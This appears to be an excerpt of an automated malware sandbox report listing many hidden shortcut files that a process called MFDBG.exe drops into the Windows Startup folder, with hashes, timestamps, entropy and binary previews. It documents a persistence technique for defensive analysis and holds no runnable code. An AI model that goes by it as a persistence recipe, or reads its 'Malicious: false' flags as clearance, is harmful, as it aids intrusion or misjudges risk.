Preview:	L..................F...."...]W%.{...(..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...$...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_513ca017b83949eda604431ee216ec0d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93467074927933
Encrypted:	false
SSDEEP:	24:8AhBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Sl0R6rMhpBoUBxdRd1nYyg
MD5:	459A9F25B2B08F97F442F9584CF3BFF9
SHA1:	944B3857648E5E8BC94355393CD62917B6F0123A
SHA-256:	3469C69CCE0BD14BE6B07E7EF697395334079D992B0C30C70C365A1488788167
SHA-512:	03EBDCDE7179E7A4509DCCA0AA5CD12D473F487FF3CA37690CD4D15157E65D8BDDD5CB5079CF29843EBAEE9A3A29E707ECCBCF92F649F7BBAA86BCC91E7B786C
Malicious:	false
Preview:	L..................F...."...]W%.{...(f..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_51896ae087d643cda353befc244c30c3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93886384283642
Encrypted:	false
SSDEEP:	24:8whBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8iW0R6rMhpBoUBxdRd1nYyg
MD5:	54B6A1CDFF4E27B724AD3EB626105E8E
SHA1:	A8778395F3843DF15CBE70117B9882BDF7EE9CEB
SHA-256:	89C3A94CF96D4742BF719E8F2AB4C9BB7A5A64A79036BFCB4FB7377244267DEB
SHA-512:	53FE0086FDF983F9891CB80B03EB7AD78B008DD848FFEC7DC3CCCB6DB1B1501A40A1D203197592552CEFEC0D883253BE60867B09A4ECC5A92870076822787844
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5195622b3fa743babfb792e90d0ffc0a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937803694362525
Encrypted:	false
SSDEEP:	24:8+hBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8UC00R6rMhpBoUBxdRd1nYyg
MD5:	C13C21DC7DADB03BD9B0EF08EB74056F
SHA1:	33557FB0AF8F8A9520C796F5A330F83E34E1CC8D
SHA-256:	41522AF8F4CEA8FA98D9A51965FB71CC34366B53931D21BB0EFAAE44B2314126
SHA-512:	528ACE30D392F4673022918F18682D5B5050CAB515ABDD3A298DE732BB8973654B110F944208C6672F446F7F59D495E88B8111F1286D3688DFE0767C69E05B6B
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_51b0be070fa74ba7a29d266c7559ded3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:08 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936059453055156
Encrypted:	false
SSDEEP:	24:8ChBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8oe0R6rMhpBoUBxdRd1nYyg
MD5:	0CB1C3ABCD5234A495A1BA155A537B74
SHA1:	6114001C291B78D80A6DF527CAA53B6700F8C335
SHA-256:	EB950ACA3CF30934DDA90BC08D2AE0AEFFF6F6C47173AEADA49A68E673B1F086
SHA-512:	6BFCA102932CD1AA08E63404E829F32A30D04A85A4276B239FAC24BE2E903DE666EB13936F8CA1A781B519B7C09954598BA8D907D02F4D6FB53FED0720A2E7FD
Malicious:	false
Preview:	L..................F...."...]W%.{...$JM.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_52ce49d4e2af41afba5c5a62b36c4a91.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938569686221536
Encrypted:	false
SSDEEP:	24:8V8hBf/D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wnQ0R6rMhpBoUBxdRd1nYyg
MD5:	AA261053FAFD388B26B626F0E3C19B7D
SHA1:	FE575B3E79F7E53B7FAD9FBABC7A69CA705936F1
SHA-256:	F1EF412E014767E7387E1DBAEE5BCF1713AEB0FF4AA8E22A9C7C8A291D2EAC8D
SHA-512:	CB41CEC428CFABD1B8847FC7A02A67DE5DAAB39BC7A7A3772BA52DE7F94F4DF9A640190AD0FCFE3AE95D05B5E040DD9A4FF687E293E07173F7BCD398F66FEBDD
Malicious:	false
Preview:	L..................F...."...]W%.{....._.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@.J.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_52ffe49941ef4e6eafdd84666c980861.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006385
Encrypted:	false
SSDEEP:	24:8uphBfF+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8upp0R6rMhpBoUBxdRd1nYyg
MD5:	496D373CD6F89CA756D61B6BBF115A1E
SHA1:	3677621E85BEFF6154BD7E84BF0A3538E83A0877
SHA-256:	C206D4E53B4D101235B1B842BC3EEE6E495A97D5EBEDBF760680A8ABF86DCB5D
SHA-512:	C48DF7712A3EFAE1E5418467D6B0E9F1045470F956543D8A90380FCFD66E98033D79D6110E517926445946174E4A8A89A2714EE7F978F068B648A16F371E2705
Malicious:	false
Preview:	L..................F...."...]W%.{....v..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_539f32a14079463db298e0af347b2041.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934762501839017
Encrypted:	false
SSDEEP:	24:8CuhBfh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ck+0R6rMhpBoUBxdRd1nYyg
MD5:	D8E197B8BD9C6449E4E4AE8C81981B26
SHA1:	ACC40AA6E0028F029C88F9E82757E1FE025453C5
SHA-256:	BCBEE7A8CA465CE6441106D052BD88BD496302C054B0D3765954B586ED459D7A
SHA-512:	AA3872366A75A1DB972500A7092250BFAE5CD71ABB67766F8C9C678E3B6A16DCC74D95CD24907FB12C02418211CA4AA9A267246FC4A66A1E1390AC2418506272
Malicious:	false
Preview:	L..................F...."...]W%.{....0".{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....0".{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_53fb3bd0c39f4a958c95d3b048ce79a1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945912300986199
Encrypted:	false
SSDEEP:	24:8YhBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86d0R6rMhpBoUBxdRd1nYyg
MD5:	3D2B5FEFE9F16F5869C1BF09536FA3CB
SHA1:	C927C4F62F08BF4F181274BD0C405D6E33647C1E
SHA-256:	B616CB60D34C3C9F4861468C0FFA1D89D85B490B796184CDC1C4E947E2655F30
SHA-512:	705B6DCA447499657A1BF041C63EF801588FE41E673622F3C33779EB617EF4AADA4367010D0E0F80F1787CEE2432A5E1A2107FB1058C4614E5EABD23F2378EDD
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5422625da6c44bc2a5e828d1de6564b6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944275040589791
Encrypted:	false
SSDEEP:	24:84hBfFbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8a9c0R6rMhpBoUBxdRd1nYyg
MD5:	665ABDD7C956FBCD129EA9FD6D830361
SHA1:	DEDCA157D8BE13F16303A208773650122AB43280
SHA-256:	473AB1C127C734D3348E66007E649A19F4B6833DF0BBF45009BE0E97AB991A85
SHA-512:	C0307D7077DA3062A799184780B46E636A32EE2639A42BAFFD7C2D2A4AE4EC4374CE5C55FC7D0A64F6E62F641701042AE7B218028394A1BD5BA7835EAD1305D2
Malicious:	false
Preview:	L..................F...."...]W%.{....Pi.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....QJ.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5422af8dab694e14afebd118c238b814.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938198743715572
Encrypted:	false
SSDEEP:	24:8XGhBfFbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8c9c0R6rMhpBoUBxdRd1nYyg
MD5:	3F6765D8607AE6ED98FA77525FF1A115
SHA1:	BBED655B036835C8A6EDFFD787C8AFF183F6F0CD
SHA-256:	16A69B3C3F5451638E3415B01B5454B806AEDB6DCC1F62CE5BAE9624AAA1A012
SHA-512:	76814565CF28A49B9900F12AFC283C988FBF062BBF484D715D9A961609D8D8375C1A4A04CBC6F4C53724107568B78D73780791A7C876F153258B01618FC208C0
Malicious:	false
Preview:	L..................F...."...]W%.{.....d.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....QJ.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_542d6fb4b7e24e44a4f274ae18e70266.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.949561384202124
Encrypted:	false
SSDEEP:	24:84hBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8aa0R6rMhpBoUBxdRd1nYyg
MD5:	27C9C630EB8EBA873A45F60576E9A056
SHA1:	AA5DB369B09E4F1D39ADED3B9BAD82DCE52DC690
SHA-256:	29ECED0D4636BB67184704F344F4D641DF727A1168605F0EAC2F494E24CDB832
SHA-512:	DE0763E3F644818426A7377C7D822C697A8A27C0DA2EEE0C51E732FC63B666268CD3A5058D76ECFC75AA2891820C299C24C3E6676FBABD24015C2415296C12B3
Malicious:	false
Preview:	L..................F...."...]W%.{...*j..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_545f437e12c34e058ee8f0a017640f79.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935464467902568
Encrypted:	false
SSDEEP:	24:8UhBfQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Wt0R6rMhpBoUBxdRd1nYyg
MD5:	77BBA362CB0DAC64E66A6D07F0108321
SHA1:	97739DD55CE0CC9E4388368BE7D4D54361C91DBF
SHA-256:	87A193AA8C1E0F2F2E8E774A268356DCE586A73092D650221A00E5610742C45A
SHA-512:	002C746A33EB5E85927F8A58BDF26EC56B013F0D16E57DAC3E3037F64EAB000FFFF6A635C3A6C01322DEF0E3AD9786CB36DA217F3AB647B63121C11F96F228BA
Malicious:	false
Preview:	L..................F...."...]W%.{.....4.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_54617eaa7b5f4a7f9e7ea8fdddc621b2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941759839733162
Encrypted:	false
SSDEEP:	24:8gmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8gs60R6rMhpBoUBxdRd1nYyg
MD5:	5DEBD7F03B669236BC0C781E83A276BE
SHA1:	2FF57B8AB7D621E6C413A416673F99314349EFFA
SHA-256:	4D9FE84C87D9BC4EF5DA96EC7175A10E3B733ABBED9D36CF222A07D20DCE8DE4
SHA-512:	06EBC39A5099E7F80E8ECFAC1EEECD635AE95AD828E680051F63BCB3BB752A2A0CAA6D163BFF7664686BEE6DA1B603DCB172F4BC3D8701B30F552DA53F6CDDF6
Malicious:	false
